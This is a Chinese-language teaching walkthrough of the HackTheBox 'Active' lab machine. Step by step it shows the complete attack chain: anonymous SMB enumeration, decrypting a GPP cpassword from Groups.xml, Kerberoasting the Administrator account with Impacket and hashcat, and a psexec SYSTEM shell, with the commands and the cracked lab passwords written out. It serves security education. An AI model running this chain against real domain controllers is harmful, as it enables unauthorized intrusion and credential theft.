HTB Active 靶机渗透教学文档:从 GPP 明文凭据到 Kerberoasting 拿下域控
一、环境概述
本教学基于 HTB 平台的 Active 靶机,目标为 Windows Server 2008 R2 SP1 域控制器,域名 active.htb,IP 地址 10.129.6.110。
二、信息搜集阶段
2.1 端口扫描
TCP 全端口扫描:
sudo nmap -sS -p- -Pn -n 10.129.6.110 -T4 --min-rate 5000 -oA tcp_ports
关键开放端口分析:
| 端口 | 服务 | 意义 |
|---|---|---|
| 53/tcp | domain | DNS 服务,域控常见 |
| 88/tcp | kerberos-sec | Kerberos 认证,KDC 运行在域控上 |
| 135/tcp | msrpc | Windows RPC |
| 389/tcp | ldap | LDAP 目录服务 |
| 445/tcp | microsoft-ds | SMB 服务 |
| 3268/tcp | globalcatLDAP | Global Catalog,仅域控有此端口 |
详细版本扫描:
sudo nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49162,49166,49168 10.129.6.110 -oA tcp_ports_detail -Pn -n
关键发现:
- 操作系统:Windows Server 2008 R2 SP1
- 域名:
active.htb(从 LDAP 服务信息中提取) - SMB 签名:
Message signing enabled and required(无法进行 SMB Relay)
本地域名解析:
echo "10.129.6.110 active.htb" >> /etc/hosts
2.2 SMB 共享枚举(匿名阶段)
在未获得有效凭证前,以匿名身份进行 SMB 共享枚举:
netexec smb 10.129.6.110 -u '' -p '' --shares
结果分析:
- 允许 NULL Session(
Null Auth:True) - 发现共享列表,其中
Replication共享具有 READ 权限 - 主机名确认为 DC
使用 smbclient 连接 Replication 共享:
smbclient //10.129.6.110/Replication -U ''%''
发现关键 XML 文件路径:
\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml
下载文件:
get Groups.xml
三、GPP 明文凭据获取
3.1 Groups.xml 内容分析
<?xml version="1.0" encoding="utf-8"?>
<Groups>
<User name="active.htb\SVC_TGS" ... cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" ... />
</Groups>
关键信息:
- 用户名:
active.htb\SVC_TGS - 加密密码(cpassword):
edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
3.2 GPP 密码原理
GPP(Group Policy Preferences,组策略首选项) 是微软在 Windows Server 2008 引入的功能,允许管理员批量管理域内机器和用户。常见用途包括:
- 创建/修改本地用户账户(关键)
- 映射网络驱动器
- 配置计划任务
- 修改注册表、管理服务等
安全隐患:
- 管理员使用 GPP 创建用户时,密码以
cpassword属性存储在 XML 文件中 - 文件存放在域控的 SYSVOL 共享中,域内任何授权用户均可读取
- 微软使用 AES-256 加密密码,但密钥已公开在 MSDN 的 MS-GPPREF 协议文档中
- 因此
cpassword实际上仅为编码而非安全加密
3.3 破解 GPP 密码
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
破解结果: GPPstillStandingStrong2k18
获得的域内凭证:
- 用户名:
active.htb\SVC_TGS - 密码:
GPPstillStandingStrong2k18
四、User Flag 获取
4.1 使用凭证重新枚举 SMB 共享
netexec smb 10.129.6.110 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
新增可访问共享:
- NETLOGON(READ)
- SYSVOL(READ)
- Users(READ)
4.2 获取 User Flag
smbclient //10.129.6.110/Users -U 'active.htb\SVC_TGS%GPPstillStandingStrong2k18'
cd SVC_TGS\Desktop\
get user.txt
User Flag 内容: e2c3f*******************
五、Root Flag 获取——Kerberoasting 攻击
5.1 合法用户枚举
通过 Users 共享发现存在 Administrator 目录但无权限访问,使用 SMB 枚举域内用户:
netexec smb 10.129.6.110 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --users
发现的域用户:
- Administrator
- Guest
- krbtgt
- SVC_TGS
5.2 Kerberos 认证协议基础
5.2.1 参与角色
- Client:想要访问服务的用户
- AP(Application Server):提供服务的目标服务器
- KDC(Key Distribution Center):安装在域控上的核心服务,包含:
- AS(Authentication Service):认证服务
- TGS(Ticket Granting Service):票据授予服务
5.2.2 票据类型
- TGT(Ticket Granting Ticket):初始认证票据,相当于"入场手环"
- ST(Service Ticket)/ TGS Ticket:服务票据,用于访问具体服务
5.2.3 相关密钥
| 密钥名称 | 来源 | 性质 |
|---|---|---|
| KDC/krbtgt key | krbtgt 账户口令 | 长期密钥 |
| User key | 用户自身口令 | 长期密钥 |
| Service key | 服务账户口令 | 长期密钥 |
| Session key | KDC 生成 | 临时密钥 |
| Service session key | KDC 生成 | 临时密钥 |
5.2.4 加密类型(etype)
| etype | 名称 | string-to-key | 特点 |
|---|---|---|---|
| 23 (0x17) | RC4-HMAC | MD4(口令) = NTLM hash | 1次哈希,无salt,易破解 |
| 17 (0x11) | AES128-CTS-HMAC-SHA1-96 | PBKDF2-HMAC-SHA1, 4096次迭代 | 带salt,难破解 |
| 18 (0x12) | AES256-CTS-HMAC-SHA1-96 | PBKDF2-HMAC-SHA1, 4096次迭代 | 带salt,难破解 |
5.2.5 SPN(Service Principal Name)
SPN 是 Kerberos/AD 中唯一标识"某台主机上的某个服务实例"的名称,格式为:
服务类/主机名[:端口或实例]
SPN 注册在运行该服务的账户对象上:
- 机器身份运行 → 注册在机器账户
- 域用户身份运行 → 注册在该域用户
5.2.6 Kerberos 认证流程
Step 1:KRB_AS_REQ(Client → AS)
- 用 User Key 加密的时间戳(验证身份 + 防重放)
- Username
- SPN(与 krbtgt 关联)
- User Nonce(随机数,防重放)
Step 2:KRB_AS_REP(AS → Client)
- TGT(用 KDC Key 加密):包含 Username、Session Key、到期时间、PAC
- Session Key 和到期时间(用 User Key 加密)
- User Nonce(需与请求一致)
Step 3:KRB_TGS_REQ(Client → TGS)
- 用 Session Key 加密的 Authenticator(用户名 + 时间戳)
- TGT(以 AP-REQ 形式)
- 目标服务的 SPN
- User Nonce
Step 4:KRB_TGS_REP(TGS → Client)
- ST(用 Service Key 加密):包含 Service Session Key、用户名、到期时间、PAC
- Service Session Key 和到期时间(用 Session Key 加密)
- User Nonce
Step 5:KRB_AP_REQ(Client → AP)
- ST
- 用 Service Session Key 加密的用户名和时间戳
Step 6:KRB_AP_REP(可选,AP → Client)
- 服务验证自身身份(双向认证)
5.3 Kerberoasting 攻击原理
核心思路:
- 拥有域内有效凭证即可完成 Kerberos 完整交互
- Kerberos 只验证用户合法性,不检查服务访问权限
- 从 KRB_TGS_REP 中获取的 ST 使用 Service Key 加密
- Service Key 由服务账户口令生成
- 攻击者可以离线暴力破解 ST 中的加密数据,还原服务账户口令
攻击条件:
- 拥有一个有效域用户凭证
- 知道目标账号绑定了 SPN
- 目标密码较弱且使用 etype 23(RC4-HMAC)
为什么优先选择 RC4-HMAC:
- RC4:string-to-key = NTLM hash = MD4(口令),1次哈希,无salt
- AES:PBKDF2-HMAC-SHA1,4096次迭代,带salt
- 相同密码强度下,RC4 破解速度远快于 AES
5.4 实施 Kerberoasting
使用 Impacket 的 GetUserSPNs.py 获取目标用户 TGS 票据:
GetUserSPNs.py -request-user Administrator -dc-ip 10.129.7.74 active.htb/SVC_TGS -save -outputfile tgthash.out
输入密码: GPPstillStandingStrong2k18
获取的 TGS Hash 格式分析:
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$...
$krb5tgs$:Kerberos TGS 票据哈希标识23:etype 23,即 RC4-HMAC(正是期望的加密类型)Administrator:目标用户ACTIVE.HTB:领域名
5.5 离线破解 TGS Hash
使用 Hashcat 破解:
hashcat -m 13100 ./tgthash.out /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
-m 13100:Kerberos 5, etype 23, TGS-REP 模式- 字典:rockyou.txt
破解结果: Ticketmaster1968
获得的 Administrator 凭证:
- 用户名:
Administrator - 密码:
Ticketmaster1968
六、Root Flag 获取——最终访问
6.1 使用 Administrator 凭证枚举 SMB 共享
smbmap -H 10.129.7.74 -u 'Administrator' -p 'Ticketmaster1968'
结果:
Status: ADMIN!!!- C$ 共享:READ, WRITE
- ADMIN$ 共享:READ, WRITE
- 确认当前账号为管理员权限
6.2 获取 Root Flag
smbclient //10.129.7.74/c$ -U 'Administrator'%'Ticketmaster1968'
cd Users\Administrator\Desktop\
get root.txt
Root Flag 内容: f32fd************************
6.3 后渗透——获取交互式 Shell
psexec.py active.htb/Administrator:'Ticketmaster1968'@10.129.7.74
工作原理:
- 使用当前凭证查找可写共享(ADMIN$)
- 上传恶意 EXE 文件到 ADMIN$
- 通过 RPC over SMB 连接到 SVCManager(服务控制管理器)
- 创建新服务指向上传的 EXE
- 启动服务 → EXE 以 SYSTEM 权限执行
- EXE 启动 cmd.exe,重定向 stdin/stdout/stderr 到命名管道
- 本地端连接到命名管道,获得交互式 Shell
七、攻击链总结
匿名SMB枚举
↓
发现Replication共享(可读)
↓
获取Groups.xml → 提取cpassword
↓
gpp-decrypt破解 → 获得SVC_TGS凭证
↓
SMB枚举 → 获取User Flag
↓
Kerberoasting → 获取Administrator的TGS Hash
↓
Hashcat离线破解 → 获得Administrator密码
↓
SMB管理共享 → 获取Root Flag
↓
psexec获得SYSTEM Shell
八、关键知识点回顾
| 知识点 | 要点 |
|---|---|
| GPP 密码泄露 | SYSVOL 共享中的 Groups.xml 包含加密密码,AES 密钥已公开 |
| NULL Session | 老旧系统允许匿名 SMB 会话,可枚举共享 |
| Kerberos 协议 | 三方认证机制,涉及 AS/TGS/KDC 多个组件 |
| Kerberoasting | 利用 TGS 票据离线破解服务账户口令 |
| etype 选择 | RC4-HMAC(etype 23)易于破解,AES 系列难以破解 |
| SPN 概念 | 标识主机上的服务实例,注册在运行服务的账户上 |
| psexec 原理 | 通过服务控制管理器以 SYSTEM 权限执行代码 |